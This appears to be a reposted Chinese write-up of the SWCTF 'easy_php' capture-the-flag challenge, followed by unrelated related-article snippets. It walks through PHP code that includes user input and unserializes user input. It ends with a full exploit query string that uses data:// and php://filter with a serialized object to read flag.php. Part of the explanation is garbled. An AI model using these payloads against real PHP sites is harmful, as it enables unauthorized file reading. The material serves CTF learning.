SWCTF

easy_php

源码

<?php// flag is in flag.php
highlight_file(__FILE__);
ini_set('display_errors', 0);
error_reporting(0);if (isset($_GET['myon1']) && isset($_GET['myon2']) && isset($_GET['myon3'])) {$myon1 = $_GET['myon1'];$myon2 = $_GET['myon2'];$myon3 = $_GET['myon3'];if (file_get_contents($myon1) === "hello Myon!") {echo "welcome!";} else {die("you can't see the flag!");}if (stripos($myon2, "flag") !== false || preg_match("/flag/i", $myon2)) {die("Access denied!");} else {include($myon2);  // myon.php$my = unserialize($myon3);echo $my;}
}?>

代码分析

提亮字体

highlight_file(__FILE__);

关闭错误回显,暴露出的信息越少越有利于网站的自我保护

ini_set('display_errors', 0);
error_reporting(0);

同时get传入三个参数,必须同时传入三个参数mony1,mony2,mony3少传一个都不会执行最大的这个if

if (isset($_GET['myon1']) && isset($_GET['myon2']) && isset($_GET['myon3'])) 

设置三个变量用来存储传入的参数用于后续代码执行

$myon1 = $_GET['myon1'];
$myon2 = $_GET['myon2'];
$myon3 = $_GET['myon3'];

此函数的判断条件是mony1储存的数据是否全等于hello Myon!如果是则输出welcom!,否则

if (file_get_contents($myon1) === "hello Myon!") {echo "welcome!";} else {die("you can't see the flag!");}

匹配mony2中最后一次出现flag的位置,出现了则不全等flase
stripos($myon2, “flag”) !== false

正则表达式匹配flag,i标识不区分大小写
preg_match(“/flag/i”, $myon2)

总之就是||前后的都必须为假也就是mony2中不能有flag字符串,不然就终止程序并且输出Access denied!,如果都没有包含flag,就文件包含mony2

if (stripos($myon2, "flag") !== false || preg_match("/flag/i", $myon2)) {die("Access denied!");} else {include($myon2);  // myon.php$my = unserialize($myon3);echo $my;}

其次这个函数里还创建了一个变量my将mony3反序列化后赋值给了my最后输出my

序列化,反序列化

序列化就是将对象转换为字符串,反序列化将字符串转换为对象
可以看看这个博主写的

构建参数

mony1:目的输出welcom!

myon1=data://text/plain;base64,aGVsbG8gTXlvbiE=
为什么这么构造呢,你先不管后两个参数的内容是什么,只将第一个参数mony1的值改为hello world在这里插入图片描述之后我做了很多此尝试发现始终不会输出welcom,所以这里大概率是做了过滤,应该是把空格处理了,然后我尝试将空格替换成了url编码的格式还是不行在这里插入图片描述
这里我做了很多尝试,想到了base64编码,但是还是在这里插入图片描述
在这里插入图片描述
伪协议可以参考学习一下这个博主的
它不知道这个是base64编码,我们要告诉它,这就需要利用data://控制输入流告诉它这里有base编码。
也就是

myon1=data://text/plain;base64,aGVsbG8gTXlvbiE=

在这里插入图片描述

mony2

看到了提示,myon.php
在这里插入图片描述
当给 m y o n 2 传递参数为 m y o n . p h p 时,接下来的代码执行如下: 1. i n c l u d e ( myon2 传递参数为 myon.php 时,接下来的代码执行如下: 1.include( myon2传递参数为myon.php时,接下来的代码执行如下:1.include(myon2);:这会包含 myon.php 文件的内容。如果 myon.php 存在并且可访问,其中的代码将被执行。
2. m y = u n s e r i a l i z e ( my = unserialize( my=unserialize(myon3);:这一行尝试对 m y o n 3 进行反序列化操作。 myon3 进行反序列化操作。 myon3进行反序列化操作。myon3 包含了一个序列化的对象,如果反序列化成功,会将对象存储在变量 $my 中。

这样就行了

myon2=myon.php.

myon3

在这里插入图片描述
根据此模板构造
在这里插入图片描述
试着传入myon3的值,一般编码读取的成功性更大

myon3=O:4:"Myon":1:{s:4:"myon";s:57:"php://filter/read=convert.base64-encode/resource=myon.php";}

在这里插入图片描述
在这里插入图片描述
这个序列化的对象表示一个名为 “Myon” 的类,其中有一个名为 “myon” 的属性
可以直接读取myon.php的文件那不妨直接试试读取flag.php,这里给了提示
在这里插入图片描述

myon3=O:4:"Myon":1:{s:4:"myon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
类似的我们还可以读取网页源码

在这里插入图片描述

将三者拼接到一起就成功获取了一个fbase64加密的flag

myon1=data://text/plain;base64,aGVsbG8gTXlvbiE=&myon2=myon.php&myon3=O:4:"Myon":1:{s:4:"myon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/2736.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

苍穹外卖day12 (Apache POI) 数据统计-Excel报表

文章目录 前言一、工作台1.1 今日数据1.1.1 接口设计1.1.2 代码实现 1.2 订单管理接口1.3菜品总览接口1.4 套餐总览接口1.5 订单搜索&#xff08;已完成&#xff09;1.6 各个状态的订单数量统计&#xff08;已完成&#xff09; 二、Apache POI2.1 概述2.2 效果展示 三、导出运营…

vue中web端播放rtsp视频流(摄像头监控视频)(海康威视录像机)

一、ffmpeg安装​​​​​​ ffmpeg下载 https://ffmpeg.org/download.html找ffmpeg-release-essentials.zip点击下载&#xff0c;下载完解压ffmpeg.exe 程序运行 二、配置ffmpeg环境变量 添加成功后验证是否生效任意地方打开cmd窗口输入 ffmpeg 打印如下表示成功 三、node…

未来五十年,智能科技将如何改变传统行业格局?

未来五十年内&#xff0c;随着人工智能&#xff08;AI&#xff09;和智能科技的不断发展&#xff0c;许多行业将面临被取代的风险。虽然这种趋势可能会带来一些担忧&#xff0c;但也将为人类社会带来巨大的变革。下面将详细探讨哪些行业可能会在未来被智能科技所取代。 ▶ 制造…

利用弹性云主机部署高效数据库系统

在当今云计算的时代&#xff0c;弹性云主机&#xff08;EC2&#xff09;为我们提供了前所未有的灵活性和可扩展性&#xff0c;使得在云端部署高效的数据库系统成为可能。本文将从选择适当的云服务配置、优化数据库设置、建立完备的数据备份与恢复策略&#xff0c;以及加强数据库…

ardupilot开发 --- Jetson Orin Nano 篇

多情应笑我早生华发 0. 一些概念1. 系统安装&#xff08;刷机、flash&#xff09;1.1 使用SD卡安装系统1.2 使用固态硬盘安装系统 0. 一些概念 官网&#xff1a;https://www.nvidia.com/en-us/ Developers Documentation Getting Started Jetson Developer Kits User Guid…

「C++ 内存管理篇 1」C++动态内存分配

〇、C语言的动态内存分配方式 关于C语言的动态内存分配方式&#xff0c;简单来讲就是使用四个库函数&#xff1a;malloc、calloc、 realloc、free对堆区的内存进行灵活的分配和回收。有兴趣的话可以看看这篇文章: 「C语言进阶1」动态内存分配 一、C的动态内存分配方式 1. 什么…

国产大模型各自优势如何?大家都怎么选?

近日&#xff0c;一份国产大模型排行榜在网上流传&#xff0c;显示文心一言、通义千问、Kimi位居前三名&#xff0c;其中文心一言用户数为2亿&#xff0c;与其他产品拉开明显差距&#xff1b;前三名月访问量总计超过3000万。国内大模型也开始出现分化效应。

Linux部署MySQL

部署MySQL 先停掉虚拟机中的MySQL&#xff0c;确保你的虚拟机已经安装Docker&#xff0c;且网络开通的情况下&#xff0c;执行下面命令即可安装MySQL&#xff1a; docker run -d \ --name mysql \ -p 3306:3306 \ -e TZAsia/Shanghai \ -e MYSQL_ROOT_PASSWORD123 \ mysql 安…

Linux 安装 Docker +Docker Compose + cucker/get_command_4_run_container

TIP&#xff1a;下面演示的 Linux 系统为 CentOS 7.9。 Docker 更新你的系统并安装必要的依赖项&#xff1a; sudo yum update -y sudo yum install -y yum-utils device-mapper-persistent-data lvm2添加 Docker 的官方仓库&#xff1a; sudo yum-config-manager --add-rep…

如何在职场中有效管理时间和任务?好用的待办事项提醒软件

身在职场&#xff0c;时间管理和任务安排是每个人都必须面对的挑战。有效的时间管理不仅能提高工作效率&#xff0c;还能让我们在繁忙的工作中保持清醒的头脑。那么&#xff0c;如何在职场中有效管理时间和任务呢&#xff1f; 制定一个清晰的工作计划是非常必要的&#xff0c;…

springcloud - ribbon 饥饿加载

一、未饥饿加载前 我们的服务者端口是8081&#xff0c;消费者端口是8085 当我们将两个项目都启动的时候&#xff0c;在消费者里日志级别设置未debug&#xff0c;发现找不到8081 二、开启饥饿加载 # 配置饥饿加载,d1为服务名 ribbon.eager-load.enabledtrue ribbon.eager-loa…

Echarts X轴类目名太长时隐藏显示全部

echarts图表X轴 在柱状图中,X轴类目名如果数据太长; echarts会默认进行隐藏部分字段; 如果我们想让每一个类目名都显示出来,需要进行额外的处理X轴类目名太长时,默认只显示一部分类目名 <!DOCTYPE html> <html lang="en"> <head><meta ch…

基于51单片机的超声波测距及温度显示

基于51单片机的超声波测距 &#xff08;仿真&#xff0b;程序&#xff0b;PCB原理图&#xff0b;设计报告&#xff09; 功能介绍 具体功能&#xff1a; 1.超声波测距传感器HC-SR04、温度传感器DS18B20将检测的数据传给51单片机&#xff1b; 2.LCD1602实时显示测得的距离和温…

javaWeb项目-社区医院管理服务系统功能介绍

项目关键技术 开发工具&#xff1a;IDEA 、Eclipse 编程语言: Java 数据库: MySQL5.7 框架&#xff1a;ssm、Springboot 前端&#xff1a;Vue、ElementUI 关键技术&#xff1a;springboot、SSM、vue、MYSQL、MAVEN 数据库工具&#xff1a;Navicat、SQLyog 1、Java技术 Java语…

【HTML】页面引用Vue3和Element-Plus

在现代前端开发中&#xff0c;Vue 3 和 Element Plus 是非常受欢迎的技术。Vue 3 是一个用于构建用户界面的渐进式 JavaScript 框架&#xff0c;而 Element Plus 是一个基于 Vue 3 的组件库&#xff0c;提供了丰富的 UI 组件&#xff0c;帮助开发者快速构建高质量的前端应用。 …

pyTorch框架部署实践

相关代码链接见文末 1.所需基本环境配置 首先&#xff0c;我们需要一个预先训练好的模型以及相应的配置。接下来&#xff0c;为了实际应用这个模型&#xff0c;我们必须搭建一个功能强大的服务器。这台服务器的核心任务是加载我们的模型&#xff0c;并能够接收用户上传的图片。…

保姆级,Linux中安装搭建Python环境

Linux中安装搭建Python环境 前手准备&#xff1a;在Linux中运行一下代码&#xff1a; yum install wget zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gcc make zlib zlib-devel libffi-devel -y进入Python下载官网https://www.…

[综述笔记]Benchmarking Graph Neural Networks for FMRI analysis

论文网址&#xff1a;[2211.08927] Benchmarking Graph Neural Networks for FMRI analysis (arxiv.org) ⭐不是真正意义上的综述&#xff0c;应该是分析性质的文章 英文是纯手打的&#xff01;论文原文的summarizing and paraphrasing。可能会出现难以避免的拼写错误和语法错…

【电控实物-infantry】

云台电机参数 电机内部参数 相电阻:Rs1.8欧 相电感:Ls5.7810^-3H 转矩常数:Kt 0.741 NM/A 转动惯量:J KG-m^2 电机接收数据&#xff1a;-16384到16384&#xff08;-3A到3A&#xff09; 电机反馈&#xff1a;速度RPM rad/s &#xff08;2πrpm&#xff09;/60 C板陀螺仪&…

【深度学习实战(20)】使用torchsummary打印模型结构

一、安装torchsummary库 pip install torchsummary 二、代码 import torchvision.models as models from torchsummary import summarymodel models.AlexNet() model.to(cuda) summary(model,(3,224, 224))